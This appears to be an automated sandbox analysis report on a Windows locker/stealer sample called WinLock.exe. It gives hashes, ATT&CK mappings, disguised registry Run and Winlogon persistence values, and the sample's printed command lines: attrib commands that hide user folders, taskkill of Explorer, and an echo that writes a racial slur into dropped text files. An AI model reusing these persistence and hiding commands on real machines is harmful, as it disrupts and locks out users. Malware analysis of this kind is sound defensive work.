4c1323dda0eb153967cec2d1e69db40b1b9a69897f954921428d0d8ea516ffa8

Analysis

user interaction
yes
max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/08/2026, 21:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 209KB
Sample260806-1apyva1cnf
SHA256 4c1323dda0eb153967cec2d1e69db40b1b9a69897f954921428d0d8ea516ffa8
MD5 a494c95b8bcbf4eba8a118189b2dd552
SHA1 32b35442405f65d88799d4cab76d3a0f092f0d28
SHA512 92b5fe97bacf7881437126c02f90fe1925195d76be5e6cade28107dd1c0cdd5f2abdbe75b28ea868efc725e06788136b6b639fb894f01e85125c9edcb40cd5c2
SSDEEP 6144:eEhfGkHBdZznRtjUmx9aygCSCpMW90KImQijnfbfL:p++ddj
TLSH
T193245C98136AC93DC2BE27BED0A611060BF0B217D503E74CAFF8A0E66D37711A755A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion persistence spyware stealer

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" --wininit"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" --init"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" /setup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe

Drops desktop.ini file(s) 12 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
744	cmd.exe
2392	cmd.exe
624	cmd.exe
1540	cmd.exe
5144	cmd.exe
2944	cmd.exe
4176	cmd.exe
2260	cmd.exe
2476	cmd.exe
1188	cmd.exe
1392	cmd.exe
5896	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5528	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4688	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4688	WinLock.exe
Token: SeDebugPrivilege	5528	taskkill.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 4688 wrote to memory of 1392	4688	WinLock.exe	86
PID 4688 wrote to memory of 1188	4688	WinLock.exe	87
PID 4688 wrote to memory of 5144	4688	WinLock.exe	88
PID 4688 wrote to memory of 2476	4688	WinLock.exe	89
PID 4688 wrote to memory of 1540	4688	WinLock.exe	90
PID 4688 wrote to memory of 624	4688	WinLock.exe	91
PID 4688 wrote to memory of 5528	4688	WinLock.exe	92
PID 2476 wrote to memory of 1216	2476	cmd.exe	114
PID 624 wrote to memory of 1884	624	cmd.exe	115
PID 1392 wrote to memory of 3864	1392	cmd.exe	116
PID 1540 wrote to memory of 1684	1540	cmd.exe	118
PID 1188 wrote to memory of 5992	1188	cmd.exe	119
PID 5144 wrote to memory of 2904	5144	cmd.exe	121
PID 1188 wrote to memory of 1292	1188	cmd.exe	123
PID 624 wrote to memory of 4528	624	cmd.exe	124
PID 1540 wrote to memory of 4656	1540	cmd.exe	125
PID 2476 wrote to memory of 1304	2476	cmd.exe	126
PID 1392 wrote to memory of 4456	1392	cmd.exe	127
PID 5144 wrote to memory of 1140	5144	cmd.exe	128
PID 4688 wrote to memory of 5896	4688	WinLock.exe	143
PID 4688 wrote to memory of 2944	4688	WinLock.exe	144
PID 4688 wrote to memory of 4176	4688	WinLock.exe	145
PID 4688 wrote to memory of 744	4688	WinLock.exe	146
PID 4688 wrote to memory of 2260	4688	WinLock.exe	147
PID 4688 wrote to memory of 2392	4688	WinLock.exe	148
PID 4176 wrote to memory of 5612	4176	cmd.exe	155
PID 4176 wrote to memory of 3836	4176	cmd.exe	156
PID 2260 wrote to memory of 5524	2260	cmd.exe	157
PID 744 wrote to memory of 5532	744	cmd.exe	158
PID 2260 wrote to memory of 5256	2260	cmd.exe	159
PID 744 wrote to memory of 1952	744	cmd.exe	160
PID 2944 wrote to memory of 5056	2944	cmd.exe	161
PID 5896 wrote to memory of 4088	5896	cmd.exe	162
PID 2392 wrote to memory of 2828	2392	cmd.exe	163
PID 5896 wrote to memory of 3060	5896	cmd.exe	164
PID 2944 wrote to memory of 536	2944	cmd.exe	165
PID 2392 wrote to memory of 3940	2392	cmd.exe	166

Views/modifies file attributes 1 TTPs 24 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3864	attrib.exe
5992	attrib.exe
4656	attrib.exe
1304	attrib.exe
5256	attrib.exe
4088	attrib.exe
3940	attrib.exe
1884	attrib.exe
1684	attrib.exe
1292	attrib.exe
1140	attrib.exe
5612	attrib.exe
5524	attrib.exe
5532	attrib.exe
1952	attrib.exe
2904	attrib.exe
4528	attrib.exe
3836	attrib.exe
5056	attrib.exe
536	attrib.exe
1216	attrib.exe
4456	attrib.exe
3060	attrib.exe
2828	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Modifies WinLogon for persistence
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3864
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5992
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5144
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2904
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1216
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1304
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1684
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4656
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1884
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4528
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5896
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:4088
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:3060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5056
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:536
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4176
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5612
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5532
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5524
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:2828
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:3940

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --wininit
1⤵
PID:5908

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:432

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" /setup
1⤵
PID:5000

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --init
1⤵
PID:6092

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:5168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WinLock.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WinLock.exe.log
Size 1KB
SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
MD5 2d2a235f1b0f4b608c5910673735494b
SHA1 23a63f6529bfdf917886ab8347092238db0423a0
SHA512 10684245497f1a115142d49b85000075eb36f360b59a0501e2f352c9f1d767c447c6c44c53a3fb3699402a15a8017bdbd2edd72d8599fdd4772e9e7cb67f3086
TLSH
T1C031DE712372B1D889163F431C2D2AC007BF4769B660EE0C7598625ED9260175F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Desktop\info-Locker.txt
Size 19B
SHA256 f927984d29b44fe22ae8d0bebf1d8d671c685849de3a07e15d265c657c8bbc97
MD5 4e17f946a508c0657ace07c973a6f078
SHA1 53820301d0ae52e41c632dc407f110156f688906
SHA512 1c624a6a80e19708157820d5a6d50d1e3045c67d5bffb347ef69ef9f3658d87dbcaa765f43109c31eead3e1d76d5782f5afd736aa716e6218cf0859e33f07a0a
MD5 SHA1 SHA512

Submit Download

memory/4688-0-0x0000000000760000-0x000000000079A000-memory.dmp

Download

memory/4688-1-0x000000001B3B0000-0x000000001B3C0000-memory.dmp

Download

memory/4688-19-0x000000001B3B0000-0x000000001B3C0000-memory.dmp

Download